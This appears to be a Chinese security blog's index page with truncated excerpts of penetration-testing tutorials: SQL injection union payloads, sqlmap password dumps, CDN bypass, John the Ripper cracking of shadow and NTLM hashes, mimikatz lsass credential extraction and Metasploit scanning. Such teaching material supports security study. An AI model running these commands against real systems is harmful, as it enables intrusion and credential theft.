The Blog of Monoceros406

SQL注入攻击实战攻击前准备存在注入判断12id=1'id=1 and 1=1 information_schema information_schema schemata schema_name 数据库库名 tables table_schema 各表对应的数据库名 table_name 表名 columns table_schema table_name column_name 列名 Union联合注入攻击1234567891011121314id=1id=1'id=1 and 1=1id=1 and 1=2id=1 order by 3id=1 order by 4id=1 union select 1,2,3id=-1 union select 1,2,3id=-1 union select 1,database(),3id=-1 union select 1,(select table_name from information_schema.tables where table_schema='sql' limit ...

Nmap基本使用常用参数-A：进攻性扫描 -T4：4级时序，级别0·6，越高速度越快，越容易被WAF或IDS检测屏蔽，推荐T4 -v：显示冗余信息 -iL：文件中导入目标 –exclude：后面参数不在扫描范围内 –excludefile：导入的文件不在扫描范围内 –traceroute：跟踪每个路由节点 -sV：版本侦测 -sF：使用FIN秘密扫描方式协助探测TCP端口状态 -Pn：指定主机视为已开启，跳过主机发现过程 -n：不进行DNS解析 –reason：解释该IP及端口为什么开放 -sC或–script：添加脚本，不指定使用默认脚本 -O：操作系统及版本检测 -sP：基于icmp的扫描 -p-：扫描0~65535所有端口，默认只前1000 –min-rate：每秒最少发送数据包数量，值越高速度越快 -sn：仅使用ping的方法发现主机 -sT、-sU：分别进行详细的TCP、UDP端口扫描（-sU要root，还很慢…） -oG：输出结果到文件 基本方法扫描单/多个目标地址： 1234567891011121314151617nmap 192.168.0.100nmap ...

SQLMap常用方法基本使用判断是否存在注入： 1sqlmap -u http://xxx/?id=1 #参数大于等于2个时url加双引号 存在cookie注入时： 1sqlmap -r 1.txt #1.txt为请求包内容 查询当前用户下所有数据库： 1sqlmap -u http://xxx/?id=1 --dbs 获取数据库表名： 1sqlmap -u "http://xxx/?id=1" -D dkeye --tables 获取表中字段名： 1sqlmap -u "http://xxx/?id=1" -D dkeye -T user_info --columns 获取字段内容： 1sqlmap -u "http://xxx/?id=1" -D dkeye -T user_info -C username,password --dump 列出数据库所有用户： 1sqlmap -u "http://xxx/union.php?id=1" --user 获取数据库用户密码： 1sqlmap ...

绕过CDN寻找真实IP常用方法 通过目标网站用户注册或RSS订阅，查看邮件、寻找邮件头中邮件服务器域名IP。 扫描网站测试文件，如phpinfo、test 分站可能没有挂CDN，ping二级域名获分站IP，可能分站和主站不是同一个IP但在同一个C段。 国内CDN只对国内用户访问加速，国外CDN不一定，通过国外在线代理网站App Synthetic Monitor访问。 目标很久以前可能没有用过CDN，通过NETCRAFT观察域名IP历史记录。 如果网站有自己的APP，Fiddler或bp抓包。 尝试通过CloudFlareWatch对客户网站进行真实IP查询。

John-The-Ripper入门哈希破解自动破解： 1john --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt 如果不能很好的自动识别哈希类型，需要hash-identifier识别，并使用指定语法破解： 1john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt 查看所有支持的格式： 1john --list=formats 破解Windows身份验证1john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt 破解shadow其中local_passwd和local_shadow分别为/etc/passwd和/etc/shadow的副本： 1unshadow loca_passwd local_shadow > unshadowed.txt 提供给john破解： ...

内网用户凭证收集获取域内单机密码和哈希值在线读取lsass进程内存上传mimikatz到目标主机。 1mimikatz.exe "privilege::debug" "sekurlsa::logonpassowrds full " exit 离线读取lsass内存文件上传procdump，将lsass.exe的内存导出为lsass.dmp映像： 1procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz分析： 1mimikatz.exe "sekurlsa::minidump C:\Users\S\Desktop\lsass.dmp" "sekurlsa::logonpasswords full" exit Winserver2012及以上开启WDigest功能，需要用户注销或重新登录才能获取密码明文。 1234#开启reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\ ...

Metasploit实战基础主机扫描使用辅助模块搜索可用端口模块： 1search portscan 例如使用TCP扫描模块： 1use auxiliary/scanner/portscan/tcp 查看需要设置的参数： 1show options 设置参数： set设置 unset取消设置 setg、unsetg设置全局参数 123set RHOSTS 192.168.172.149set PORTS 1-500set THREADS 20 启动： run或exploit 1run 其他常用扫描模块： 模块 功能 auxiliary scanner portscan 端口扫描 smb smb_version SMB系统版本扫描 smb_enumusers SMB枚举 smb_login SMB弱口令扫描 smtp smtp_version SMTP版本扫描 smtp_enum SMTP枚举 snmp community SNMP扫描设备 telnet telnet_login TELNET登录 ...

Shell脚本入门基础1234567891011121314151617181920212223242526272829declare -r TITLE="Page Title" #常量a=zb="a string"c="a string and $b"d="$(ls -l foo.txt)"e=$((5*7))f="\t\ta string\n"mv "$filename" "${filename}1"$? #上次命令的退出状态echo $foocat<<__EOF__ #here document 引号不用转义 $foo #some text "$foo" #"some text" '$foo' #'some text' \$foo #$foo__EOFfunction funct_2(){ local foo; #局部变量 ...

一些工具使用说明连接RedisEXPMx1014/RedisEXP: Redis 漏洞利用工具 (github.com) FOFAXxiecat/fofax: fofax is a command line query tool based on the API of https://fofa.info/, simple is the best! (github.com) 简介 | FoFaX (xiecat.fun)

OSINT工具汇总一般搜索用户使用的主要搜索引擎。 Advangle Aol - The web for America. Ask - Ask something and get a answer. Bing - Microsoft´s search engine. Brave - 一个私密、独立和透明的搜索引擎。 DuckDuckGo - 一个强调保护搜索者隐私的互联网搜索引擎。 Gigablast - 为合作伙伴网站提供大规模、高性能、实时的信息检索技术和服务。 Goodsearch - 在线购物交易的搜索引擎。 Google Search - 最受欢迎的搜索引擎。 Instya - You can searching shopping sites, dictionaries, answer sites, news, images, videos and much more. Impersonal.me Lycos - A search engine for pictures, videos, news and products. Mojeek - A growing i ...